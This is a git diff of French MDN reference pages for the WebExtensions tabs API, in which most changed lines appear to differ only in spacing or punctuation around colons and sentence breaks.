3dff709140..d6b46b9b33 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/highlight/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/highlight/index.md @@ -44,7 +44,7 @@ var highlighting = browser.tabs.highlight( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) qui sera remplie avec un objet {{WebExtAPIRef('windows.Window')}} contenant des détails sur la fenêtre dont les onglets ont été mis en surbrillance. Si la fenêtre n'a pas pu être trouvée ou qu'une autre erreur se produit, la promesse sera rejetée avec un message d'erreur. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) qui sera remplie avec un objet {{WebExtAPIRef('windows.Window')}} contenant des détails sur la fenêtre dont les onglets ont été mis en surbrillance. Si la fenêtre n'a pas pu être trouvée ou qu'une autre erreur se produit, la promesse sera rejetée avec un message d'erreur. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/index.md index cd253e4d16..5a6294c218 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/index.md @@ -20,7 +20,7 @@ Permet d'interagir avec le système d'onglets du navigateur. Vous pouvez utiliser cette API pour obtenir une liste des onglets ouverts, filtrés par différents critères, ainsi que pour ouvrir, mettre à jour, déplacer, recharger et supprimer des onglets. Vous ne pouvez pas accéder directement au contenu hébergé par les onglets à l'aide de cette API, mais vous pouvez insérer du JavaScript et du CSS dans les onglets en utilisant les API {{WebExtAPIRef("tabs.executeScript()")}} ou {{WebExtAPIRef("tabs.insertCSS()")}}. -Vous pouvez utiliser la majeure partie de cette API sans autorisation spéciale. Toutefois : +Vous pouvez utiliser la majeure partie de cette API sans autorisation spéciale. Toutefois : - Pour accéder à `Tab.url`, `Tab.title` et `Tab.favIconUrl`, vous devez avoir la [permission](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) `"tabs"`. @@ -119,7 +119,7 @@ De nombreuses opérations d'onglet utilisent un identifiant (`id`) d'onglet. Les - {{WebExtAPIRef("tabs.sendMessage()")}} - : Envoie un message unique au(x) script(s) de contenu dans l'onglet spécifié. - {{WebExtAPIRef("tabs.sendRequest()")}} {{deprecated_inline}} - - : Envoie une requête unique au(x) script(s) de contenu dans l'onglet spécifié. **Déprécié :** utilisez {{WebExtAPIRef("tabs.sendMessage()")}} à la place. + - : Envoie une requête unique au(x) script(s) de contenu dans l'onglet spécifié. **Déprécié :** utilisez {{WebExtAPIRef("tabs.sendMessage()")}} à la place. - {{WebExtAPIRef("tabs.setZoom()")}} - : Effectue un zoom sur l'onglet spécifié. - {{WebExtAPIRef("tabs.setZoomSettings()")}} @@ -136,7 +136,7 @@ De nombreuses opérations d'onglet utilisent un identifiant (`id`) d'onglet. Les - {{WebExtAPIRef("tabs.onActivated")}} - : Est émis lorsque l'onglet actif dans une fenêtre change. Notez que l'URL de l'onglet peut ne pas être définie au moment où cet évènement a été émis. - {{WebExtAPIRef("tabs.onActiveChanged")}} {{deprecated_inline}} - - : Est émis lorsque l'onglet sélectionné dans une fenêtre change. **Déprécié :** utilisez {{WebExtAPIRef("tabs.onActivated")}} à la place. + - : Est émis lorsque l'onglet sélectionné dans une fenêtre change. **Déprécié :** utilisez {{WebExtAPIRef("tabs.onActivated")}} à la place. - {{WebExtAPIRef("tabs.onAttached")}} - : Est émis lorsqu'un onglet est attaché à une fenêtre, par exemple parce qu'il a été déplacé entre différentes fenêtres. - {{WebExtAPIRef("tabs.onCreated")}} @@ -144,7 +144,7 @@ De nombreuses opérations d'onglet utilisent un identifiant (`id`) d'onglet. Les - {{WebExtAPIRef("tabs.onDetached")}} - : Est émis lorsqu'un onglet est détaché d'une fenêtre, par exemple parce qu'il a été déplacé entre différentes fenêtres. - {{WebExtAPIRef("tabs.onHighlightChanged")}} {{deprecated_inline}} - - : Est émis lorsque les onglets en surbrillance ou sélectionnés dans une fenêtre changent. **Déprécié :** utilisez {{WebExtAPIRef("tabs.onHighlighted")}} à la place. + - : Est émis lorsque les onglets en surbrillance ou sélectionnés dans une fenêtre changent. **Déprécié :** utilisez {{WebExtAPIRef("tabs.onHighlighted")}} à la place. - {{WebExtAPIRef("tabs.onHighlighted")}} - : Est émis lorsque les onglets en surbrillance ou sélectionnés dans une fenêtre changent. - {{WebExtAPIRef("tabs.onMoved")}} @@ -160,7 +160,7 @@ De nombreuses opérations d'onglet utilisent un identifiant (`id`) d'onglet. Les . - {{WebExtAPIRef("tabs.onSelectionChanged")}} {{deprecated_inline}} - - : Est émis lorsque l'onglet sélectionné dans une fenêtre change. **Déprécié :** utilisez {{WebExtAPIRef("tabs.onActivated")}} à la place. + - : Est émis lorsque l'onglet sélectionné dans une fenêtre change. **Déprécié :** utilisez {{WebExtAPIRef("tabs.onActivated")}} à la place. - {{WebExtAPIRef("tabs.onUpdated")}} - : Est émis lorsqu'un onglet est mis à jour. - {{WebExtAPIRef("tabs.onZoomChange")}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/insertcss/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/insertcss/index.md index 9608711022..e317c47f0c 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/insertcss/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/insertcss/index.md @@ -20,11 +20,11 @@ Injecter du code CSS dans une page web. Pour utiliser cette API vous devez avoir la permission "[host permission](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions)" ou utiliser la permission "[activeTab permission](/fr/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission)". -Vous ne pouvez injecter du CSS que dans des pages dont l'URL peut être exprimée en utilisant un [motif de correspondance](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns), ce qui signifie que son schéma doit être "http", "https", "file", "ftp". Cela signifie que vous ne pouvez pas injecter de CSS dans les pages intégrées du navigateur, telles que about:debugging, about:addons, ou la page qui s'ouvre lorsque vous ouvrez un nouvel onglet vide. +Vous ne pouvez injecter du CSS que dans des pages dont l'URL peut être exprimée en utilisant un [motif de correspondance](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns), ce qui signifie que son schéma doit être "http", "https", "file", "ftp". Cela signifie que vous ne pouvez pas injecter de CSS dans les pages intégrées du navigateur, telles que about:debugging, about:addons, ou la page qui s'ouvre lorsque vous ouvrez un nouvel onglet vide. > **Note :** Firefox résout les URL dans les fichiers CSS injectés par rapport au fichier CSS lui-même, plutôt qu'à la page dans laquelle il est injecté. -Le CSS inséré peut être retiré à nouveau en appelant {{WebExtAPIRef("tabs.removeCSS()")}}. +Le CSS inséré peut être retiré à nouveau en appelant {{WebExtAPIRef("tabs.removeCSS()")}}. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) (sur Firefox seulement). diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/move/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/move/index.md index 5fc7d40283..d48d295f19 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/move/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/move/index.md @@ -40,7 +40,7 @@ var moving = browser.tabs.move( - : `object`. Un objet qui spécifie où déplacer le(s) onglet(s). - `windowId`{{optional_inline}} - - : `integer`. 'ID de la fenêtre dans laquelle vous souhaitez déplacer les onglet(s). Si vous omettez cela, chaque onglet de `tabIds` sera déplacé vers l' `index` dans sa fenêtre actuelle. Si vous incluez ceci, et `tabIds` contient plus d'un onglet, alors le premier onglet de `tabIds` sera déplacé vers l'`index`, et les autres onglets le suivront dans l'ordre donné dans `tabIds`. + - : `integer`. 'ID de la fenêtre dans laquelle vous souhaitez déplacer les onglet(s). Si vous omettez cela, chaque onglet de `tabIds` sera déplacé vers l' `index` dans sa fenêtre actuelle. Si vous incluez ceci, et `tabIds` contient plus d'un onglet, alors le premier onglet de `tabIds` sera déplacé vers l'`index`, et les autres onglets le suivront dans l'ordre donné dans `tabIds`. - `index` - : `integer`. La position de l'index pour déplacer la tabulation à, en commençant à 0. Une valeur de -1 placera la tabulation à la fin de la fenêtre. diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/moveinsuccession/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/moveinsuccession/index.md index 459ed9321c..08dabe0a76 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/moveinsuccession/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/moveinsuccession/index.md @@ -22,7 +22,7 @@ All tabs start out with no successor; tabs only get a successor if assigned one `tabs.moveInSuccession()` takes an array of tab IDs, and moves all of those tabs from their lines of succession. It then makes each tab the successor of the previous tab in the array, forming a chain. It can optionally set the successor of the last tab in the chain to an anchor tab, which is _not_ moved from its line of succession. Additional options can control whether the tab chain is "prepended" or "appended" to the anchor tab, and whether the operation acts like a linked-list insert. -While the successor tab can be assigned with {{WebExtAPIRef('tabs.update()')}}, it is often desirable to use `tabs.moveInSuccession()` to change successors, even if only a single tab is having its successor assigned. The difference is that `browser.tabs.moveInSuccession([a], b)` moves tab `a` from its line of succession, so any predecessors of `a` will adopt `a`'s previous successor; whereas if `browser.tabs.update(a, {successorTabId: b})` is used instead, tab `a` may continue to be the successor of other tabs, which could be unexpected. Another advantage of `tabs.moveInSuccession()` is that all of the succession changes happen atomically, without having to worry about races between calls to {{WebExtAPIRef('tabs.update()')}} and {{WebExtAPIRef('tabs.get()')}} and other operations like the user closing a tab. +While the successor tab can be assigned with {{WebExtAPIRef('tabs.update()')}}, it is often desirable to use `tabs.moveInSuccession()` to change successors, even if only a single tab is having its successor assigned. The difference is that `browser.tabs.moveInSuccession([a], b)` moves tab `a` from its line of succession, so any predecessors of `a` will adopt `a`'s previous successor; whereas if `browser.tabs.update(a, {successorTabId: b})` is used instead, tab `a` may continue to be the successor of other tabs, which could be unexpected. Another advantage of `tabs.moveInSuccession()` is that all of the succession changes happen atomically, without having to worry about races between calls to {{WebExtAPIRef('tabs.update()')}} and {{WebExtAPIRef('tabs.get()')}} and other operations like the user closing a tab. ## Syntaxe @@ -33,7 +33,7 @@ browser.tabs.moveInSuccession([1, 3, 5, 7, 2, 9], 4, {insert:true}) ### Paramètres - `tabIds` - - : `array` of `integer`. Un tableau d'`ID`s. L'ordre des éléments dans le tableau définit la relation des onglets. Tout `ID` d'onglet invalide, ou l'`ID` d'onglet correspondant à des onglets qui ne sont pas dans la même fenêtre que `tabId` (ou le premier onglet du tableau, si `tabId` est omis), sera ignoré - ils conserveront leurs successeurs et prédécesseurs actuels. + - : `array` of `integer`. Un tableau d'`ID`s. L'ordre des éléments dans le tableau définit la relation des onglets. Tout `ID` d'onglet invalide, ou l'`ID` d'onglet correspondant à des onglets qui ne sont pas dans la même fenêtre que `tabId` (ou le premier onglet du tableau, si `tabId` est omis), sera ignoré - ils conserveront leurs successeurs et prédécesseurs actuels. - `tabId` {{optional_inline}} - : `integer.` L'`ID` de l'onglet qui succédera au dernier onglet du tableau `tabIds`. Si cet `ID` est invalide ou {{WebExtAPIRef('tabs.TAB_ID_NONE')}}, le dernier onglet n'aura pas de successeur. Par défaut {{WebExtAPIRef('tabs.TAB_ID_NONE')}}. - `options` {{optional_inline}} @@ -43,7 +43,7 @@ browser.tabs.moveInSuccession([1, 3, 5, 7, 2, 9], 4, {insert:true}) - `append` {{optional_inline}} - : `boolean`. Détermine s'il faut déplacer les onglets dans les `tabIds` avant ou après `tabId` dans la succession. Si `false`, les onglets sont déplacés avant `tabId`, si `true`, les onglets sont déplacés après `tabId`. Par défaut à `false`. - `insert` {{optional_inline}} - - : `boolean`. Détermine s'il faut lier les prédécesseurs ou successeurs actuels (selon `options.append`) de `tabId`à l'autre côté de la chaîne après son ajout ou son ajout. Si true, l'un des événements suivants se produit : si `options.append` est `false`, le premier onglet du tableau est défini comme successeur de tout prédécesseur actuel de `tabId`; Si `options.append` est `true`, le successeur actuel de tabId est défini comme le successeur du dernier onglet du tableau. La valeur par défaut est `false`. + - : `boolean`. Détermine s'il faut lier les prédécesseurs ou successeurs actuels (selon `options.append`) de `tabId`à l'autre côté de la chaîne après son ajout ou son ajout. Si true, l'un des événements suivants se produit : si `options.append` est `false`, le premier onglet du tableau est défini comme successeur de tout prédécesseur actuel de `tabId`; Si `options.append` est `true`, le successeur actuel de tabId est défini comme le successeur du dernier onglet du tableau. La valeur par défaut est `false`. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/onactivated/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/onactivated/index.md index 48974a44ef..fcf52f1554 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/onactivated/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/onactivated/index.md @@ -30,7 +30,7 @@ Les événements ont trois fonctions : - `addListener(callback)` - : Ajoute un écouteur à cet événement - `removeListener(listener)` - - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. + - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. - `hasListener(listener)` - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, sinon `false`. diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/oncreated/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/oncreated/index.md index c88a17ec75..8e911367e4 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/oncreated/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/oncreated/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/onCreated Lancé lorsqu'un onglet est créé. -Notez que l'URL de l'onglet peut ne pas avoir sa valeur finale au moment où cet événement a été déclenché. En particulier, Firefox ouvre un nouvel onglet avec l'URL "about:blank" avant de charger la nouvelle page. Vous pouvez écouter les événements {{WebExtAPIRef("tabs.onUpdated")}} pour être averti lorsqu'une URL est définie. +Notez que l'URL de l'onglet peut ne pas avoir sa valeur finale au moment où cet événement a été déclenché. En particulier, Firefox ouvre un nouvel onglet avec l'URL "about:blank" avant de charger la nouvelle page. Vous pouvez écouter les événements {{WebExtAPIRef("tabs.onUpdated")}} pour être averti lorsqu'une URL est définie. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/onmoved/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/onmoved/index.md index 7ab02282c6..2894aae3a8 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/onmoved/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/onmoved/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/onMoved Lancé lorsqu'un onglet est déplacé dans une fenêtre -Un seul événement de déplacement est déclenché, représentant l'onglet que l'utilisateur a déplacé directement. Les événements de déplacement ne sont pas déclenchés pour les autres onglets qui doivent se déplacer en réponse. Cet événement n'est pas déclenché lorsqu'un onglet est déplacé entre des fenêtres. Pour cela, voir {{WebExtAPIRef('tabs.onDetached')}}. +Un seul événement de déplacement est déclenché, représentant l'onglet que l'utilisateur a déplacé directement. Les événements de déplacement ne sont pas déclenchés pour les autres onglets qui doivent se déplacer en réponse. Cet événement n'est pas déclenché lorsqu'un onglet est déplacé entre des fenêtres. Pour cela, voir {{WebExtAPIRef('tabs.onDetached')}}. ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/onselectionchanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/onselectionchanged/index.md index e59ac78675..c40ba5a9ce 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/onselectionchanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/onselectionchanged/index.md @@ -35,7 +35,7 @@ Les événements ont trois fonctions: - `removeListener(listener)` - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. - `hasListener(listener)` - - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, sinon `false`. + - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true` s'il écoute, sinon `false`. ## Syntaxe addListener diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/onupdated/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/onupdated/index.md index 7c6bd95443..117b7a0360 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/onupdated/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/onupdated/index.md @@ -15,9 +15,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated --- C'est déclenché lorsqu'un onglet est mis à jour. -Lorsque l'utilisateur navigue vers une nouvelle URL dans un onglet, cela génère généralement plusieurs événements `onUpdated` au fur et à mesure que diverses propriétés de l'objet {{WebExtAPIRef("tabs.Tab")}} sont mises à jour. Ceci inclut l' `url`, mais aussi potentiellement le `title` et les propriétés `favIconUrl`. La propriété du `status` passe par le `"loading"` et `"complete"`. +Lorsque l'utilisateur navigue vers une nouvelle URL dans un onglet, cela génère généralement plusieurs événements `onUpdated` au fur et à mesure que diverses propriétés de l'objet {{WebExtAPIRef("tabs.Tab")}} sont mises à jour. Ceci inclut l' `url`, mais aussi potentiellement le `title` et les propriétés `favIconUrl`. La propriété du `status` passe par le `"loading"` et `"complete"`. -Cet événement sera également déclenché pour les modifications des propriétés d'un onglet qui n'impliquent pas de navigation, comme le pinning et le débrochage (qui met à jour la propriété `pinned`) et le muting ou le unmuting (qui met à jour les propriétés `audible` et `mutedInfo`). +Cet événement sera également déclenché pour les modifications des propriétés d'un onglet qui n'impliquent pas de navigation, comme le pinning et le débrochage (qui met à jour la propriété `pinned`) et le muting ou le unmuting (qui met à jour les propriétés `audible` et `mutedInfo`). Vous pouvez filtrer cet événement, en le rendant uniquement valable pour les onglets dont les urls correspondent à des [patterns](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns) spécifiques, ou pour les modifications de propriétés spécifiques, ou pour les modifications d'un onglet ou d'une fenêtre spécifique, ou toute combinaison de ces restrictions. @@ -61,7 +61,7 @@ Les événements ont trois fonctions : - : `Array`. Un tableau [match patterns](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns). Ne déclenchez l'événement que pour les onglets dont la propriété de l'`url` courante correspond à l'un des motifs. - `properties` - - : `Array`. un tableau de chaîne de caractères, qui sont les noms des propriétés de l'objet {{WebExtAPIRef("tabs.Tab")}}. Ne déclenchez cet événement seulement pour les changement apportées à l'une des propriétés nommées dans ce tableau. Les propriétés suivantes peuvent être listées ici : + - : `Array`. un tableau de chaîne de caractères, qui sont les noms des propriétés de l'objet {{WebExtAPIRef("tabs.Tab")}}. Ne déclenchez cet événement seulement pour les changement apportées à l'une des propriétés nommées dans ce tableau. Les propriétés suivantes peuvent être listées ici : - "attention" - "audible" diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/pagesettings/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/pagesettings/index.md index 3b30028778..9886774640 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/pagesettings/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/pagesettings/index.md @@ -14,7 +14,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/PageSettings --- {{AddonSidebar}} -Le type **`tabs.PageSettings`** est utilisé pour contrôler le rendu d'un onglet au format PDF par la méthode {{WebExtAPIRef("tabs.saveAsPDF()")}}. +Le type **`tabs.PageSettings`** est utilisé pour contrôler le rendu d'un onglet au format PDF par la méthode {{WebExtAPIRef("tabs.saveAsPDF()")}}. Toutes ses propriétés sont facultatives. @@ -41,7 +41,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `footerCenter` {{optional_inline}} - : `string`. Le texte du pied de page central de la page. Défaut : ''. - `footerLeft` {{optional_inline}} - - : `string`. Le texte pour le pied gauche de la page. Par défaut : '\&PT'. + - : `string`. Le texte pour le pied gauche de la page. Par défaut : '\&PT'. - `footerRight` {{optional_inline}} - : `string`. Le texte pour le pied droit de la page. Par défaut : '\&D'. - `headerCenter` {{optional_inline}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/printpreview/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/printpreview/index.md index 3d9fc5ab2d..8560d58c59 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/printpreview/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/printpreview/index.md @@ -34,7 +34,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ## Exemples -Dans cet exemple, un script d'arrière-plan écoute un clic sur une [action de navigateur](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2), puis ouvre l'aperçu avant impression pour l'onglet actuellement actif : +Dans cet exemple, un script d'arrière-plan écoute un clic sur une [action de navigateur](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Browser_actions_2), puis ouvre l'aperçu avant impression pour l'onglet actuellement actif : ```js browser.browserAction.onClicked.addListener(() => { diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/query/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/query/index.md index 919d5999bf..6db24eeddd 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/query/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/query/index.md @@ -40,7 +40,7 @@ var querying = browser.tabs.query( - `autoDiscardable`{{optional_inline}} - : `boolean`. Si les onglets peuvent être supprimés automatiquement par le navigateur lorsque les ressources sont faibles. - `cookieStoreId` {{optional_inline}} - - : `string`. Utilisez cette option pour renvoyer uniquement les onglets dont l'ID est `cookieStoreId`. Cette option n'est disponible que si l'extension à la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `"cookies"` + - : `string`. Utilisez cette option pour renvoyer uniquement les onglets dont l'ID est `cookieStoreId`. Cette option n'est disponible que si l'extension à la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `"cookies"` - `currentWindow`{{optional_inline}} - : `boolean`. Si les onglets sont dans la fenêtre actuelle. - `discarded`{{optional_inline}} @@ -66,9 +66,9 @@ var querying = browser.tabs.query( - `url`{{optional_inline}} - : `string` ou `array de string`. Faites correspondre les onglets avec un ou plusieurs [modèle de correspondance](/fr/Add-ons/WebExtensions/Match_patterns). Notez que les identificateurs de fragment ne sont pas appariés. - `windowId`{{optional_inline}} - - : `integer`. L'ID de la fenêtre parente, ou {{WebExtAPIRef('windows.WINDOW_ID_CURRENT')}} pour la fenêtre en cours. + - : `integer`. L'ID de la fenêtre parente, ou {{WebExtAPIRef('windows.WINDOW_ID_CURRENT')}} pour la fenêtre en cours. - `windowType`{{optional_inline}} - - : {{WebExtAPIRef('tabs.WindowType')}}. Le type de fenêtre dans lequel les onglets y sont. + - : {{WebExtAPIRef('tabs.WindowType')}}. Le type de fenêtre dans lequel les onglets y sont. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/removecss/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/removecss/index.md index 00af43200b..061824b879 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/removecss/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/removecss/index.md @@ -41,11 +41,11 @@ C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScrip - `code`{{optional_inline}} - : `string`. CSS à supprimer, en tant que chaîne de texte. Cela doit correspondre exactement à une chaîne CSS précédemment insérée dans la page en utilisant {{WebExtAPIRef("tabs.insertCSS()")}}. - `cssOrigin`{{optional_inline}} - - : `string`. Cela peut prendre l'une des deux valeurs suivantes : "user", pour CSS ajouté en tant que feuille de style utilisateur, ou "author" pour CSS ajouté en tant que feuille de style auteur. Si cette option a été définie précédemment par {{WebExtAPIRef("tabs.insertCSS()")}}, elle doit correspondre exactement. + - : `string`. Cela peut prendre l'une des deux valeurs suivantes : "user", pour CSS ajouté en tant que feuille de style utilisateur, ou "author" pour CSS ajouté en tant que feuille de style auteur. Si cette option a été définie précédemment par {{WebExtAPIRef("tabs.insertCSS()")}}, elle doit correspondre exactement. - `file`{{optional_inline}} - : `string`. Chemin d'accès à un fichier contenant le CSS à supprimer. Cela doit correspondre exactement à un fichier CSS préalablement inséré dans la page en utilisant {{WebExtAPIRef("tabs.insertCSS()")}}. - `frameId`{{optional_inline}} - - : `integer`. Le cadre à partir duquel supprimer le CSS. La valeur par défaut est `0` (l'image de niveau supérieur). + - : `integer`. Le cadre à partir duquel supprimer le CSS. La valeur par défaut est `0` (l'image de niveau supérieur). - `matchAboutBlank`{{optional_inline}} - : `boolean`. si `true`, le CSS sera supprimé des cadres "about:blank" et "about:srcdoc" intégrés si votre extension a accès à leur document parent. Par défaut à `false`. diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/saveaspdf/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/saveaspdf/index.md index aededbb921..260f0ffc33 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/saveaspdf/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/saveaspdf/index.md @@ -29,7 +29,7 @@ var saving = browser.tabs.saveAsPDF( ### Paramètres - `pageSettings` - - : `object`. Paramètres de la page enregistrée, en tant qu'objet {{WebExtAPIRef("tabs.PageSettings")}}. Cet objet doit être donné, mais toutes ses propriétés sont facultatives. Toutes les propriétés non spécifiées ici recevront les valeurs par défaut répertoriées dans la documentation {{WebExtAPIRef("tabs.PageSettings", "PageSettings")}}. + - : `object`. Paramètres de la page enregistrée, en tant qu'objet {{WebExtAPIRef("tabs.PageSettings")}}. Cet objet doit être donné, mais toutes ses propriétés sont facultatives. Toutes les propriétés non spécifiées ici recevront les valeurs par défaut répertoriées dans la documentation {{WebExtAPIRef("tabs.PageSettings", "PageSettings")}}. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/sendmessage/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/sendmessage/index.md index cde0d97123..c5896247c9 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/sendmessage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/sendmessage/index.md @@ -43,7 +43,7 @@ var sending = browser.tabs.sendMessage( - : `object`. - `frameId`{{optional_inline}} - - : `integer`. Envoie le message à un cadre (_iframe_) spécifique identifiée par `frameId` au lieu de tous les cadres de l'onglet. Le fait que le script de contenu soit exécuté dans tous les cadres dépend du paramètre `all_frames` dans la section [`content_scripts`](/fr/Add-ons/WebExtensions/manifest.json/content_scripts) de manifest.json. + - : `integer`. Envoie le message à un cadre (_iframe_) spécifique identifiée par `frameId` au lieu de tous les cadres de l'onglet. Le fait que le script de contenu soit exécuté dans tous les cadres dépend du paramètre `all_frames` dans la section [`content_scripts`](/fr/Add-ons/WebExtensions/manifest.json/content_scripts) de manifest.json. ### Valeur renvoyée diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/setzoom/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/setzoom/index.md index 239e6c94a3..243918a663 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/setzoom/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/setzoom/index.md @@ -52,7 +52,7 @@ var setting = browser.tabs.setZoom(2); setting.then(null, onError); ``` -Set the zoom factor for the tab whose ID is 16 tab to 0.5: +Set the zoom factor for the tab whose ID is 16 tab to 0.5: ```js function onError(error) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/tab/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/tab/index.md index d9e7f66e34..03b919e1ef 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/tab/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/tab/index.md @@ -45,12 +45,12 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - : `boolean`. Si l'onglet est caché. - `highlighted` - - : `boolean`. Si l'onglet est en surbrillance, c'est-à-dire une partie de la sélection de l'onglet en cours. Un onglet actif est toujours mis en surbrillance, mais certains navigateurs peuvent permettre de mettre en surbrillance des onglets supplémentaires, par exemple en cliquant dessus tout en maintenant les touches <kbd>Ctrl</kbd>, <kbd>Shift</kbd> ou <kbd>⌘ Command</kbd> . + - : `boolean`. Si l'onglet est en surbrillance, c'est-à-dire une partie de la sélection de l'onglet en cours. Un onglet actif est toujours mis en surbrillance, mais certains navigateurs peuvent permettre de mettre en surbrillance des onglets supplémentaires, par exemple en cliquant dessus tout en maintenant les touches <kbd>Ctrl</kbd>, <kbd>Shift</kbd> ou <kbd>⌘ Command</kbd> . - Firefox pour Android ne prend pas en charge la mise en surbrillance de plusieurs onglets, et le bureau Firefox nécessite la préférence `browser.tabs.multiselect` (activé par défaut). + Firefox pour Android ne prend pas en charge la mise en surbrillance de plusieurs onglets, et le bureau Firefox nécessite la préférence `browser.tabs.multiselect` (activé par défaut). - `id` {{optional_inline}} - - : `integer`. L'ID de l'onglet. Les ID d'onglet sont uniques dans une session de navigateur. L'ID d'onglet peut également être défini sur {{WebExtAPIRef('tabs.TAB_ID_NONE')}} pour les fenêtres de navigateur qui n'hébergent pas d'onglets de contenu (par exemple, les fenêtres devtools). + - : `integer`. L'ID de l'onglet. Les ID d'onglet sont uniques dans une session de navigateur. L'ID d'onglet peut également être défini sur {{WebExtAPIRef('tabs.TAB_ID_NONE')}} pour les fenêtres de navigateur qui n'hébergent pas d'onglets de contenu (par exemple, les fenêtres devtools). - 